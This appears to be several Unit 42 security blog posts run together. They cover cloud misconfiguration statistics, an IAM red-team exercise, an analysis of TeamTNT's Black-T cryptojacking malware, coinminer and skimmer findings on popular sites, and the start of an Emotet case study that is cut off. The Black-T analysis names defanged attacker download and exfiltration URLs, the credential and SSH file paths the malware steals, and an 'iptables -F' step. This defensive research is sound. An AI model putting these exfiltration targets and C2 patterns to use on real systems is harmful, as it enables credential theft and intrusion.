For the Unit 42 Cloud Threat Report, 2H 2020, Unit 42 researchers used data from the major cloud service providers (CSPs) – Amazon Web Services (AWS), Microsoft Azure and Google Cloud – to unearth the most common types of alerts globally. Policy violations fell into four categories:
Identity and Access Management (IAM).
Logging, Versioning and Tracing.
Encryption.
Exposed Systems and Services.
IAM alert data, along with original research into IAM misconfigurations, can be found in the full report. This blog examines the latter three categories of logging, encryption and exposed services. All research took place from May to August 2020 and included the Americas; Europe, the Middle East and Africa (EMEA); and Japan and Asia-Pacific (JAPAC) regions. These findings may not be representative of the entire base of CSP customers.
Analysis of the findings points to a general trend of weak security best practice globally. For instance, researchers found that 73% and 71% of global organizations using Azure Storage containers and AWS S3 buckets, respectively, are not enabling logging functionality. 63% of global organizations using AWS are not tracking changes to their S3 buckets and only 33% of global organizations are enabling encryption within their S3 buckets. This lays the foundation for an organization that is unable to monitor the access and manipulation of data within S3 buckets and cannot guarantee the confidentiality of data within those same S3 buckets to unauthorized users.
Logging, Versioning and Tracing
Unit 42 researchers have expounded at length on cloud environments that do not have logging enabled for storage resources. Here, researchers isolate key metrics within each CSP and region that highlight this ongoing security concern.
AWS Logging, Versioning and Tracing Violations
Americas
EMEA
JAPAC
Global Average
AWS S3 buckets with logging not enabled
70%
77%
74%
71%
AWS S3 Object Versioning is disabled
62%
70%
68%
63%
AWS Lambda functions with tracing not enabled
53%
56%
62%
54%
Azure Logging Violations
Americas
EMEA
JAPAC
Global Average
Azure Blob Storage with logging not enabled
74%
74%
67%
73%
While some regions performed better than others, Unit 42 researchers feel it is important to point out that no region has reached what should be considered the benchmark for acceptable logging performance. The Center for Internet Security (CIS) has established benchmarks for each cloud service provider as well as for individual applications, which address the requirements for providing logging, version control and serverless tracing functionality.
Organizations in EMEA struggled the most in terms of failing to enable logging (77%) and versioning (70%) within AWS S3 buckets.JAPAC organizations were close behind at 74% and 68%, respectively. By failing to enable logging within storage resources like S3 buckets, these organizations would be unable to identify authorized, let alone unauthorized, access to these resources.
Organizations had similar struggles with Azure Blob Storage logging. Organizations in EMEA and the Americas did not fare well implementing best practices for Azure Blob Storage – 74% of both regions’ organizations are not enabling storage account logging. JAPAC performed slightly better with only 67% of organizations not enabling logging for Azure Blob Storage.
63% of global organizations are not tracking any changes to the data within AWS S3 buckets. This is what the industry calls versioning. As such, these organizations would be unable to prove the integrity of data stored within these resources. A worst-case scenario for not enabling logging and versioning would be if a malicious actor entered the storage resource, located production source code and infected that code with malicious remote access trojan (RAT) code. This would manifest in any future usage of the source code. The malicious actor could successfully gain access to any production system which uses the code, either in-house or within a client environment, thus resulting in a successful supply-chain attack. Additionally, with the proper enablement of logging, it is highly likely this scenario could have been detected and avoided.
62% of JAPAC organizations did not enable tracing functionality for AWS Lambda serverless functions. Tracing is the process of monitoring serverless function operations. With tracing disabled, if these serverless functions became compromised, security teams would be unable to determine what actions were taken following the compromise, or what additional operations the functions performed.
Encryption
Cloud platforms offer encryption features for both virtual machine (VM) instances and storage services. While all CSPs provide encryption functionality for their storage resources, it is important to note that both Google Cloud and Azure enable encryption by default for storage resources. AWS requires users to enable and configure encryption for each of the storage resources deployed.
Encryption Violations
Americas
EMEA
JAPAC
Global Average
AWS S3 buckets do not have server side encryption
66%
73%
72%
67%
AWS Elastic Block Store (EBS) volumes are not encrypted
63%
67%
74%
65%
EMEA organizations had the highest percentage of unencrypted S3 buckets at 73%; JAPAC and the Americas had 72% and 66% respectively.
For AWS EBS instances, JAPAC organizations had the highest percentage of encryption violations at 74%, followed by 67% for EMEA and the Americas at 63%.
In addition to the default encryption options available through CSPs, Unit 42 researchers highly recommend that organizations consider using their own private encryption keys for workloads with elevated data security requirements.
Exposed Systems and Services
Access to cloud environments is critical to digital transformation. As such, security controls need to be put into place to ensure that only essential network connectivity pathways are exposed, while unnecessary services or systems are unavailable to the internet at large. Unit 42 researchers have been tracking the exposure of SSH (port 22) and RDP (port 3389) in recent CTRs.
Exposed Systems or Services Violations
Americas
EMEA
JAPAC
Global Average
AWS Security Groups allow internet traffic to SSH port (22)
54%
57%
52%
55%
Azure Network Security Group (NSG) allows internet traffic to SSH port (22)
49%
55%
28%
48%
Google Cloud firewall rule allows internet traffic to SSH port (22)
39%
52%
45%
41%
Exposed Systems and Services Violations
Americas
EMEA
JAPAC
Global Average
AWS Security Groups allow traffic from internet to RDP port (3389)
36%
36%
32%
36%
Azure Network Security Group (NSG) allows traffic from internet to RDP port (3389)
46%
46%
42%
45%
Google Cloud firewall rule allows internet traffic to RDP port (3389)
32%
38%
35%
34%
The current trend of exposure for SSH and RDP is going down globally, meaning that more organizations are blocking or at least limiting their exposure to the internet than in previous CTRs. However, analysis shows that EMEA organizations expose SSH and RDP services more frequently than either Americas or JAPAC organizations. In O’Reilly’s Evolving Data Infrastructure report in 2018, the survey found that only 24% of European organizations felt they were “sophisticated cloud users.” The lack of skills and talent among the workforce was pointed to as the leading contributor for this sentiment:
57% of EMEA organizations using AWS are exposing SSH, and 55% and 52% of EMEA organizations using Azure and Google Cloud respectively are doing the same.
46% of EMEA organizations using Azure environments are exposing RDP, and 38% and 36% of EMEA organizations using Google Cloud and AWS respectively are doing the same.
Network Traffic Restrictions
Americas
EMEA
JAPAC
Global Average
Unrestricted inbound network traffic into cloud environments
38%
39%
37%
38%
Additionally, Unit 42researchers found that 39% of EMEA organizations allow unrestricted inbound network traffic into their cloud environments, while the Americas and JAPAC were found to allow this traffic in 38% and 37% of organizations respectively. Without limiting the type of traffic allowed into an environment, the security landscape of an organization is needlessly expanded, allowing for the exposure of services and systems.
SSH is often targeted by attackers when configured to use password authentication. This can provide a low barrier to entry, as it is the same tool legitimate administrators use to control systems. In order to safeguard SSH connections, DevOps teams should use public key authentication functionality (RSA, ECDSA or Ed25519 key pairs) for all SSH-enabled systems. Network-based protections should also be utilized to block known SSH attack techniques.
RDP operates over port 3389 and, similar to SSH, is used to remotely administer Windows environments. Unit 42 researchers strongly recommend against directly exposing RDP to the public internet. Many alternatives now exist, such as Azure Bastion, which is a platform as a service (PaaS) offered by Microsoft. It provides connectivity to Azure VMs without directly exposing the public IP address of VMs.
Trend Data from Past Reports
In the Unit 42 Cloud Threat Report: Spring 2020, Unit 42 researchers began noting trends in the percentage of organizations that exposed SSH and RDP services, and those that were still using TLS v1.1 for their network traffic requirements. The graph below demonstrates that each of these areas saw a marked decrease in occurrences since February 2020. While TLS v1.1 has seen a consistent decline in usage since we started tracking this metric, the exposure of SSH and RDP services appears to be overall flat, with just under 60% of organizations exposing SSH and just under 39% exposing RDP.
Trend of exposed services from Fall 2019 to Fall 2020.
Conclusion
This data derived from logging, versioning and tracing operations gives security professionals the information they need to monitor and defend their networks from cyberattacks. CIS addressed logging by stating, “Without protected and complete logging records, an attack may go unnoticed indefinitely and the particular damages done may be irreversible.”
In order to minimize the attackable surface area of a cloud environment, organizations should take several actions:
Ensure logging operations follow CIS guidelines.
Require data processing or data storage resource encryption mechanisms.
Limit the number of systems and services exposed to the internet.
Following these recommendations will result in a more manageable and defensible cloud environment.
Prisma Cloud provides a comprehensive solution to protect cloud environments from deploying misconfigured, vulnerable or overly exposed cloud resources. By drawing on a robust suite of security protection mechanisms and intelligence, Palo Alto Networks provides organizations that operate in the cloud a unique lens into their environments.
Identity and access are intrinsically connected when providing security to cloud platforms. But security is only effective when environments are properly configured and maintained. In the 2H 2020 edition of the biannual Unit 42 Cloud Threat Report, researchers conducted Red Team exercises, scanned public cloud data and pulled proprietary Palo Alto Networks data to explore the threat landscape of identity and access management (IAM) and identify where organizations can improve their IAM configurations.
During a Red Team exercise, Unit 42 researchers were able to discover and leverage IAM misconfigurations to obtain admin access to a customer's entire Amazon Web Services (AWS) cloud environment – a potentially multi-million dollar data breach in the real-world. These examples highlight just how serious the failure to secure IAM can be for an organization.
Key Findings
The following highlights dive into specific data points that reinforce the research and recommendations outlined in the report.
Unauthorized External Access
During a Red Team exercise, researchers successfully exploited the misconfigured IAM role trust policy “AssumeRole” to gain temporary access to sensitive resources. The Unit 42 team was able to accomplish this using an anonymous AWS account. It is key to point out that an AWS CloudTrail event is generated for each attempt to assume an AWS role. It is critical that organizations monitor their CloudTrail logs for AssumeRole events and ensure that only approved AWS accounts are performing these actions against the organization’s environment. The root cause that allowed this unauthenticated access was an overly permissive IAM role trust policy. The misconfigured policy allowed any AWS user who is not in the account to assume the role and obtain an access token. This could result in any number of attacks against an organization, including denial-of-service (DoS) and ransomware, or even open a door for an advanced persistent threat (APT) adversary.
Lateral Movement and Privileged Escalation
In the same Red Team exercise, Unit 42 researchers were able to successfully move laterally with non-administrator access by leveraging a misconfigured IAM role related to flow-log management. They then successfully escalated their privileges from a restricted developer account to gain persistence, accomplished by hijacking an administrator account. By leveraging this overly permissive IAM role related to flow-logs, Unit 42 researchers gained administrative access to the entire cloud environment, allowing for the unrestricted manipulation of cloud resources. They were then able to create new Amazon Elastic Compute Cloud (EC2) and Relational Database Service (RDS) instances, as well as modify user and policy permissions. Attackers could use this technique to steal sensitive data, wipe out infrastructure, or lockdown an operation with ransomware.
JAPAC and EMEA Organizations Display Poor Cloud Identity Hygiene
Unit 42 researchers found that 75% of organizations in Japan and Asia-Pacific (JAPAC), as well as 74% of organizations in Europe, the Middle East and Africa (EMEA), are using Google Cloud to run workloads with admin privileges. By contrast, only 54% of organizations in the Americas run with the same type of privileges. It is a best practice to run workloads with the principle of least privilege – limiting permissions for users to the bare minimum they need. If an attacker is able to compromise a workload with admin privileges, the attacker would gain the same level of elevated access. This provides an easy path for attackers to use cloud resources to perform attacks, like cryptojacking operations, at the expense of the organization.
Many Organizations Experience Cryptojacking
In addition to the IAM research, the Unit 42 team provided an update to its ongoing examination of the overall security posture of cloud infrastructure around the world. Unit 42 research shows cryptojacking to affect at least 23% of organizations globally that maintain cloud infrastructure. The team found that cloud environments are being targeted by cybercrime groups focused on malicious cryptomining operations, which remain one of the highest-profile attacks against cloud infrastructure.
Three Distinct Goals to Empower Your Business
Protecting your cloud infrastructure from the exploitation of misconfigured IAM roles and policies can improve and strengthen the defense of cloud infrastructure. Methods gleaned from the Unit 42 Cloud Threat Report can help your organization stay secure in the cloud in three distinct ways:
Provide situational awareness of the latest adversary tactics regarding targeting IAM roles and policies, which can lead to serious security incidents unique to the cloud.
Empower DevOps and security teams to stay ahead of the threat curve and better protect their cloud environments.
Instill the mindset that a secure cloud is only possible when organizations take meaningful steps to harden their IAM roles and policies.
Unit 42 researchers discovered a new variant of cryptojacking malware named Black-T, authored by TeamTNT, a group known to target AWS credential files on compromised cloud systems and mine for Monero (XMR). Black-T follows the traditional TeamTNT tactics, techniques and procedures (TTPs) of targeting exposed Docker daemon APIs and performing scanning and cryptojacking operations on vulnerable systems of affected organizations. However, code within the Black-T malware sample gives evidence of a shift in TTPs for TeamTNT operations.
Of these new TTPs, most notable are the targeting and stopping of previously unknown cryptojacking worms (i.e. the Crux worm, ntpd miner, and a redis-backup miner). Also, TeamTNT has been implementing the use of memory password scraping operations via mimipy and mimipenguins, which are *NIX equivalents to the commonly used Windows-specific memory password scraper functionality of Mimikatz. Mimikatz is a tool capable of scraping plaintext passwords from Windows OS systems, and also has the capability to perform pass-the-hash and pass-the-token operations, allowing attackers to hijack user sessions. Any identified passwords which were obtained through mimipenguins are then exfiltrated to a TeamTNT command and control (C2) node. This is the first time TeamTNT actors have been witnessed including this type of post-exploitation operation in their TTPs.
The Black-T tool also has the capability to use three different network scanning tools to identify additional exposed Docker daemon APIs, within the local network of the compromised system and across any number of publicly accessible networks, to extend their cryptojacking operations. Both masscan and pnscan have been used before by TeamTNT actors. However, the addition of zgrab, a GoLang network scanner, marks the first time that a GoLang tool has been witnessed incorporated into TeamTNT’s TTPs. There was also an update to the masscan network scanner operation to include searching for TCP port 5555. While the exact purpose regarding adding port 5555 to the scanner is unknown, there have been documented cases where XMR cryptojacking is occurring on Android-based devices. This could indicate a new unknown target set for expanding TeamTNT cryptojacking operations. However, there is little evidence to support TeamTNT targeting Android devices.
Unit 42 researchers have discovered several German-language phrases inserted into multiple TeamTNT scripts, Black-T included. The very first line within the script following an ASCII art banner reads: verbose mode ist nur für euch 😉 damit ihr was zum gucken habt in der sandbox :-* which translates to “verbose mode is only for you 😉 so that you have something to watch in the sandbox.” There have been several other cases where German phrases have been used within TeamTNT scripts.
Palo Alto Networks Prisma Cloud can assist in securing cloud deployments against the threats posed by TeamTNT, by guiding organizations to better detect vulnerabilities or misconfigurations in cloud environment settings and infrastructure as code (IaC) templates prior to deploying production systems. Additionally, by installing the latest apps and threat definitions on Palo Alto Networks Next-Generation Firewall, network connections to known XMR public mining pools, or to malicious domains and IPs, can be prevented before the environment is compromised.
Black-T Dissection
The Black-T script is downloaded from the TeamTNT domain, hxxps://teamtnt[.]red/BLACK-T/SetUpTheBLACK-T, to the compromised cloud system that maintained an exposed Docker daemon API. Once downloaded to the compromised system, the script will perform the following actions.
Figure 1. TeamTNT’s Black-T ASCII banner.
First, there is a display of an ASCII art banner declaring that this variant is version 1 (see Figure 1). Then, the script performs a clean and system prep operation, in which the script will remove known cryptojacking malware already in place on the compromised system. Black-T specifically targets Kinsing malware, a competing cryptojacking process family. It is also important to note that TeamTNT authors have copied several pieces of malware code, both within previous TeamTNT tools as well as within this Black-T tool, to augment their own cryptojacking malware. Specifically, this copied code allows for the removal and evasion of Aliyun and Tencent cloud security software, and adds AWS credential-stealing features and masscan scanning functionality.
Disable Active XMR Miners
Unit 42 researchers also found evidence that the TeamTNT authors are now targeting other potential competing cryptojacking malware families, outside of the previously mentioned kinsing cryptojacking process. These competing cryptojacking processes include kswapd0, ntpd miner, redis-backup miner, auditd miner, migration miner, and finally, the Crux worm (see Figure 2) as well as the Crux worm miner (see Figure 3). With the inclusion of these potential cryptojacking processes found within the Black-T malware, it would appear that these cryptojacking processes are known to the TeamTNT authors as competing for cloud processing resources. This would also indicate there are several cryptojacking processes currently unknown to defense teams and efforts should be taken to identify and build mitigation rules for these currently unknown cryptojacking processes. There is an XMR public mining pool called cruxpool[.]com. However, no additional information is currently available to support if the Crux worm uses the public mining pool cruxpool, or if this is simply a clever naming convention used by cryptojacking operators.
Following the cleaning of any known cryptojacking processes, the Black-T malware will also perform a cleaning operation for any known xmrig process currently running on the compromised system. XMRig is a popular open-source process, which facilitates the computational operations needed to mine the XMR cryptocurrency.
Figure 2. Crux worm process removal.Figure 3. Crux worm mining process removal.
Of note, TeamTNT makes use of customized processes within their scripts. These custom processes represent traditional *NIX processes, but have the prefix “tnt” added to the process name. For example, tntrecht is a customized process that is loaded into /usr/local/bin/tntrecht on the compromised system and is likely used to hijack and modify the permissions of legitimate *NIX processes to be used for TeamTNT operations. The modified legitimate processes are subsequently renamed with the “tnt” prefix – for instance, tntwget and tntcurl.
System Setup
Following the cleanup of the compromised system, the script will further set up the system environment by setting Path Variables: PATH=/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin, naming 8.8.4.4 and 8.8.8.8 as new DNS servers, and finally, flushing all established IP table rules using the command iptables -F.
The script will then check to see which *NIX package manager is installed on the compromised system: Advanced Package Tool (APT), Yellowdog Updater, Modified (YUM) or Alpine Linux package manager (APK). Regardless of the package manager type identified, the script will install masscan, along with libpcap to perform network packet traffic listening, pnscan (a network scanning tool, although within the current sample, pnscan functionality has been commented out), zgrab (a GoLang tool built for zmap), Docker and jq (a flexible command-line JSON processor). See the setup image in Figure 4.
Figure 4. APT package manager setup.
Unit 42 researchers believe that TeamTNT actors are planning on building more sophisticated cryptojacking features into their tool sets – specifically for identifying vulnerable systems within various cloud environments. Never before has TeamTNT been known to use the network scanner software zmap. But TeamTNT is not only using zmap, they are using the little-known zgrab, which is a GoLang tool used to capture address banners. It is currently unclear how TeamTNT actors will use this data, but it is highly likely the actors are giving zgrab a trial run to test the scanner’s functionality for their operations, and may make adjustments accordingly. This idea is supported by the zgrab GitHub page, which states that, “zgrab tends to be very unstable, API's may break at any time, so be sure to vendor zgrab.” It is further supported by the fact that during the time of writing this blog, zmap had deprecated the original zgrab tool, which was used in Black-T, and has replaced it with a new version of zgrab, called zgrab2.
Unit 42 researchers do know that TeamTNT actors are placing a great deal of importance on scanning capabilities within the Black-T tool, as there are currently three different scanners built into this tool (masscan, pscan and zgrab).
Download Toolsets
The Black-T variant downloads two files, which execute directly into bash: hxxps://teamtnt[.]red/BLACK-T/beta and hxxps://teamtnt[.]red/BLACK-T/setup/bd.
Beta
Beta is used to make a new directory /.../ where the following files are compressed into two tar files named root.tar.gz:
/root/.bash_history
/root/.ssh/
/etc/hosts
/root/.docker/
/root/.aws/
/root/*.sh
/home/*/.bash_history
/home/*/.ssh/
/home/*/*.sh
And, cron.tar.gz:
/etc/cron*/
/var/spool/cron/
These two files, upon compression, are then sent to the URL hxxps://teamtnt[.]red/only_for_stats/dup.php. It is important to note that TeamTNT actors are still targeting AWS credential and configuration files located on compromised AWS cloud systems. If compromised systems do contain AWS credentials, the TeamTNT actors could attempt to use these AWS credentials to expand their cryptojacking operations within the compromised system’s AWS environment. By using the AWS credentials obtained from the exposed and compromised Docker daemon system, TeamTNT actors could use this system as a pivot point to gain access to additional cloud systems and resources that use the same AWS credentials and which are hosted within the system’s larger AWS environment.
The beta script then downloads the file hxxps://teamtnt[.]red/x/pw, and also downloads the hxxps://teamtnt[.]red/BLACK-T/setup/bd, which is a duplicate from the Black-T download.
Finally, the beta script will set the service token for monitoring XMR mining operations. This token is set as abyofigfefda6c3itn9f3zkrmjfays31, and it will redownload the Black-T script, hxxps://teamtnt[.]red/BLACK-T/SetUpTheBLACK-T. This is likely done as a means of redundancy to provide actors with different types of operations to launch following the exploitation of a system.
pw
The script pw is very intriguing, as it performs post-exploitation operations of password scraping using mimipy and mimipenquin, which are *NIX tools adapted for use from the Windows tool Mimikatz. Upon uncovering any passwords residing in memory within the compromised system, the passwords are written to the file /var/tmp/.../output.txt, which is then uploaded to hxxps://teamtnt[.]red/only_for_stats/dup.php. See Figure 5.
Figure 5. Memory password scraping and exfil.
bd
The script bd is used to download the XMR mining software relevant to the given compromised system. These downloaded files and the SHA256 values for the mining software have been reported on before during an operation targeting Weave Scope deployments.
Figure 6. Downloaded mining software.
Unit 42 researchers downloaded each of the software samples and believe these samples to be the same style of samples that have been previously reported (see Table 1).
The Black-T script then downloads the known XMR miner software sbin_u, (SHA256: fae2f1399282508a4f01579ad617d9db939d0117e3b2fcfcc48ae4bef59540d9). This type of mining software has been linked before to TeamTNT. VirusTotal currently only lists the malware as an 8/62, but does label it as an Executable Linkable Format (ELF) CoinMiner (see Figure 7), mining software which operates on *NIX platform systems.
Figure 7. VirusTotal metadata of the file sbin_u
Finally, Black-T configures the XMR mining software to use the following XMR wallet address: 84xqqFNopNcG7T5AcVyv7LVyrBfQyTVGxMFEL2gsxQ92eNfu6xddkWabA3yKCJmfdaA9jEiCyFqfffKp1nQkgeq2Uu2dhB8. Figure 8 shows that as of the time of this writing, only five workers were reported producing 8.2 KH/s, which is down from a maximum of 25.05 KH/s on September 26, 2020. This particular XMR wallet has only managed to gather roughly US$10 as of September 29, 2020, likely due to the fact that this is a very new variant of cryptojacking software and hasn’t had much time to spread.
Figure 8. MoneroOcean results for the Black-T XMR wallet address.
Worm Functionality
TeamTNT has long maintained its usage of worm-like techniques and has used masscan or pnscan to discover vulnerable systems. Black-T is no exception. However, there is a subtle difference between previouslyreported TeamTNT masscan operations and those present within Black-T. Specifically, in Black-T, we see the addition of a new scanning port, TCP 5555 (see Figure 9). While the exact purpose of adding port 5555 to the scanner is unknown, there have been documented cases where XMR cryptojacking is occurring on Android-based devices. This could indicate a new unknown target set for expanding TeamTNT cryptojacking operations. However, there is little evidence to support TeamTNT targeting Android devices.
Figure 9. TeamTNT masscan scanning operations.
Additionally, Black-T also performs scanning operations on a random CIDR 8 network range as it searches for exposed Docker API instances. This is also a new finding related to TeamTNT TTPs (see Figure 10). By expanding the scanning range of Black-T, TeamTNT actors are greatly expanding the scope of their targeting operations. Instead of only scanning the local network range of a compromised system, Black-T will begin scanning an entire CIDR 8 network range at random. For example, if Black-T selects 134.0.0.0/8, any address between 134.0.0.0 and 134.255.255.255 which contains an exposed Docker daemon API will be targeted and Black-T will attempt to exploit that system. Given enough time, every publicly available IP address will be scanned for an exposed Docker daemon API system. This has the potential to greatly increase the number of compromised systems owned by TeamTNT actors.
Figure 10. Random Docker API scanning operation.
Conclusion
TeamTNT is a cloud-focused cryptojacking group which targets exposed Docker daemon APIs. Upon successful identification and exploitation of the Docker daemon API, TeamTNT will drop the new cryptojacking variant Black-T. This variant installs up to three different types of network scanners (masscan, pnscan and zgrab), which are used to scan for additional exposed Docker daemon APIs. Black-T will also perform memory scraping operations following the successful exploitation of the cloud system. This is performed via mimipy and mimipenguins scripts, which are downloaded to the compromised system. Any identified passwords are then exfiltrated to a TeamTNT C2 node. Similar to the stolen AWS credentials also captured by the TeamTNT actors, these credentials are likely to be used for additional operations targeted against the organization managing the compromised Docker API.
In order to protect cloud systems from TeamTNT’s Black-T cryptojacking malware, organizations should perform the following actions:
Ensure that cloud environments are not exposing Docker daemon APIs or any other network service, which inadvertently exposes sensitive internal network services.
Leverage Palo Alto Networks Prisma Cloud to secure cloud deployments.
Install the latest apps and threat definitions on the Palo Alto Networks Next-Generation Firewall.
Palo Alto Networks Unit 42 threat researchers have been credited with discovering 27 new vulnerabilities addressed by the Microsoft Security Response Center (MSRC), as part of its last nine months of security update releases.
Vulnerabilities
The Microsoft vulnerabilities discovered included 27 vulnerabilities rated “important,” including Remote Code Execution, Privilege Elevation, Information Disclosure and one Denial of Service vulnerability.
The Unit 42 researchers credited are Zhibin Zhang, Tao Yan, Bo Qu, Gal De Leon, Haozhe Zhang, Bar Lahav, Yaron Samuel and Nadav Markus. Zhibin Zhang was also recognized as the top vulnerability discoverer in Q1 from the MSRC and most recently ranked 7th for the MSRC 2020 Q2 Security Leaderboard.
The recently discovered vulnerabilities are listed in Table 1 below:
Windows Error Reporting Elevation of Privilege Vulnerability
Elevation of Privilege
Important
Gal De Leon
Conclusion
Palo Alto Networks customers deploying our Next-Generation Firewalls with our best practices and a Threat Prevention subscription, which includes capabilities such as vulnerability protection with intrusion prevention system (IPS), are protected from zero-day vulnerabilities such as these. Weaponized exploits for these vulnerabilities are prevented by Cortex XDR’s multi-layered exploit prevention capabilities. WildFire provides our customers with comprehensive protection and automatic updates against previously unknown threats.
Palo Alto Networks is a regular contributor to vulnerability research in Microsoft, Adobe, Apple, Google Android and other ecosystems, with more than 200 critical vulnerabilities discovered. Our researchers give regular talks at security conferences such as BlueHat and Black Hat.
By proactively identifying these vulnerabilities, developing protections for our customers and sharing the information with the security community, we are removing weapons used by attackers to threaten users and compromise enterprise, government and service provider networks.
Last year, Unit 42 also won first place as a top zero-day vulnerability contributor and tied for third for top vulnerability contributor as part of the Microsoft Active Protections Program (MAPP) Contributing Partners awards. We are proud of the continued efforts made by our threat intelligence research team, as they continue to leave a positive impact on the security ecosystem.
Unit 42 recently launched a threat hunting campaign among the top 10,000 websites globally on Alexa. Alexa rankings are a measure of website popularity, based on visitor interactions and number of visits. We found four sites that were affected, as outlined in Table 1. In the analysis that follows, we describe the malicious activity in more detail, covering malicious coinminers, which hijack CPU resources to mine cryptocurrency; malicious external links, which direct users to malicious sites; and a web skimmer attack, which is designed to steal payment card details from checkout forms.
Affected Domain
Affected Type
Attack Type
Alexa Rank (as of June 15, 2020)
Site Type
libero[.]it
Malicious External Link
Malicious Coinminer
607
The number one website in Italy, offers various types of content and services: webmail, search engine, news and more.
pojoksatu[.]id
Compromised Site
Malicious Coinminer
1494
News website in Indonesia.
www[.]heureka[.]cz
Malicious External Link
Web Skimmer
5204
The largest e-commerce platform in Central and Eastern European markets.
zoombangla[.]com
Compromised Site
Malicious Coinminer
6579
News website in Bangladesh.
Table 1. Summary of affected top Alexa sites.
Palo Alto Networks customers are protected from the aforementioned threats by the URL Filtering and Threat Prevention cloud-delivered security subscriptions.
Compromised Sites
Malicious Coinminers
Coinhive was a browser mining service that offered a JavaScript miner for the Monero blockchain. It shut down in March 2019, in part because it was widely abused by cybercriminals. There are two websites still serving Coinhive’s miner script. One is coinhive.min.js and the other is JSEcoin. Figure 1, below, shows the commands issued to start the coinminer on a compromised website – zoombangla[.]com.
Figure 1. Commands to start the Coinhive miner with defined parameters.This miner can control how it utilizes the user’s CPU and how many threads it uses for mining. The coinminer can also control how much of a target’s CPU it’s using. The available options for parameters are shown in Table 2. Oddly, the above codes configured the miner to rapidly drain the battery of an infected device, perhaps because the attackers felt a need to make the most use possible of any successfully compromised victims. Most attackers ensure a compromised device’s power usage stays low to avoid detection and continue making money illicitly. However, in this case, it appears the attackers rushed to mine and did not configure it correctly.
Throttle
CPU usage limit to
0 (Default)
100%
0.3
80%
0.5
50% - 70%
Table 2. Parameter throttle and CPU usage map.
Another example of the commands to start the Coinhive mining script is shown below, from a different website we found serving it – pojoksatu[.]id.
Figure 2. Commands to start the Coinhive miner with default parameters.Once a user visits either of the above sites, the coinmining script would automatically run and start mining for the attacker. The user’s CPU load would increase as shown in Figure 3.
Figure 3. CPU load activity
Overall, we found more than 60 URL pages injected with Coinhive mining scripts in pojoksatu[.]id and zoombangla[.]com. Details are in the Appendix.
Malicious External Links
External link security has become increasingly important. As email services have improved at spotting spam and other types of malicious messages, attackers are using open redirects with external links instead. If attackers publish a malicious URL in a post on a legitimate website, likely very few visitors would find it suspicious. If users click on the link – or even hover over it to check it first – they will see the valid website in the link, but they will end up at a malicious site the attacker wants to redirect them to. The user would then be infected with some sort of malware, such as a malicious coinminer, or their personal information may be stolen.
Figure 4 is a legitimate used car website on libero[.]it where you can search and compare vehicles. Attackers inserted malicious links into car advertisements, which redirected visitors interested in the vehicle to a malicious site that injected them with the JSEcoin coinmining script, as shown in Figures 5-7. Please note that the JSEcoin platform closed down on April 4, 2020. The scripts will still run, but the attackers aren't able to collect coins from it anymore.
Figure 4. External link in libero[.]it, which would redirect visitors to compromised sites.The source page would look like this:
Figure 5. Source codes of the page containing malicious links.As you can see in Figure 5, all the external links, which are highlighted, point to libero[.]it. If you want to know more about the car, you would need to click the link. Then you would be redirected to the malicious site.
Figure 6. Redirect chain.
This site is where the malicious coinminer is injected.
Figure 7. Commands to start the JSEcoin miner.
Web Skimmer
A web skimmer attack, also known as e-skimming or Magecart attacks, are a type of attack where a payment page on a website is compromised and injected with malicious code in order to steal payment card details when they are entered into checkout forms.
The example we found among top-ranked websites on Alexa stems from another external link security issue. heureka[.]cz itself is an online shopping website. If you search Anti-COVID products (which are the top search keywords on the website) on the site, it will show a list of related products.
Figure 8. Product example.
There is one store listed after this product, and you can choose to buy from this store.
Figure 9. Link in heureka[.]cz to compromised sites.The source page looks like this:
Figure 10. Source code of the page containing malicious links, which are highlighted.Once you click to visit this store, you would be redirected to the malicious site.
Figure 11. Redirect chain.
And unfortunately, the entire site is full of obfuscated malicious skimmer scripts, as shown in Figure 12.
Figure 12. Obfuscated skimmer codes.
The above codes are obfuscated, making it hard to predict what behavior they cause. We had to deobfuscate the codes first. We then found the following functions, which are stealthy as they monitor a user’s input of their payment card information and send it out to the remote attacker server.
This function is used to validate a credit card number with the Luhn Algorithm, which is widely used to validate a variety of identification numbers, such as credit card numbers.
This is the beginning of the skimmer. It would run every 99 seconds to call the function XYRUDR. Function XYRUDR would find all the tags in [input, select, form, button, a, img].
This figure shows the general geographic distribution of visits to the affected sites that we observed. While most visitors clearly came from Western Europe, visitors from the Eastern U.S. and Western U.S. are not far behind. This graph indicates a broad spectrum of potential victims all across the globe.
Conclusion
Our research highlights that users need to exercise caution, even when visiting popular, apparently reputable websites. These are the same sites likely to generate the most income for attackers focused on malicious coinmining and web skimming. When users click a link away from a core site, they should pay attention to the full URL of the site where they end up to ensure it’s where they expected to be. A simple way to avoid malicious coinminers is to have your browser and system fully patched with endpoint security installed.
Palo Alto Networks customers are protected from the mentioned threats by the URL Filtering and Threat Prevention cloud-delivered security subscriptions.
Malicious spam (malspam) pushing Emotet malware is the most common email-based threat, far surpassing other malware families, with only a few other threats coming close.
In recent weeks, we have seen significantly more Emotet malspam using a technique called "thread hijacking" that utilizes legitimate messages stolen from infected computers' email clients. This malspam spoofs a legitimate user and impersonates a reply to the stolen email. Thread hijacked malspam is sent to addresses from the original message.
This technique is much more effective than less sophisticated methods, which many people have now learned to spot. The approach is more successful at convincing potential victims to click on an attached file, or to click on a link to download a malicious Word document with macros designed to infect a user with Emotet.
Here, we review a case study of Emotet's thread hijacking process so we can better recognize and understand this technique.
Palo Alto Networks customers are protected from this threat because our Threat Prevention security subscription detects and prevents these types of Emotet infections. AutoFocus users can track Emotet activity using the Emotet tag.
Figure 1. Visual representation of Emotet’s thread hijacking process.
Case Study Timeline
To illustrate Emotet's thread hijacking process, our case study focuses on an infection from Sept. 3, 2020. In this example, Emotet hijacks the most recent email in an Outlook inbox from an infected host.
The timeline is:
15:35 UTC – Legitimate message received by email client on host.
16:31 UTC – Host infected with Emotet.
16:34 UTC – Legitimate message collected from infected host is sent through Emotet command and control (C2) traffic.
18:22 UTC – Emotet botnet sends spoofed email using legitimate message from the infected host.
This process took one hour and 51 minutes to progress from the infection to the arrival of a thread-hijacked email.
Legitimate Email From the Infected Host
In our example, a vulnerable Windows 10 host used Microsoft Outlook as its email client. Outlook was synchronized to a Microsoft account at k*********.r*******@outlook.com (we have redacted information from the email addresses for this case study). The most recent message in the infected host’s email client is shown in Figure 2, and we have loaded a redacted copy of the legitimate email to GitHub.
Figure 2. Most recent email from an infected host’s Outlook client.
As we see in Figure 2, the most recent email was received at 15:35 UTC, approximately one hour before the host was infected with Emotet. This email is a response from t****.h******@yahoo.com to a previous message from k*********.r*******@outlook.com.
Data Exfiltration Through C2 Traffic
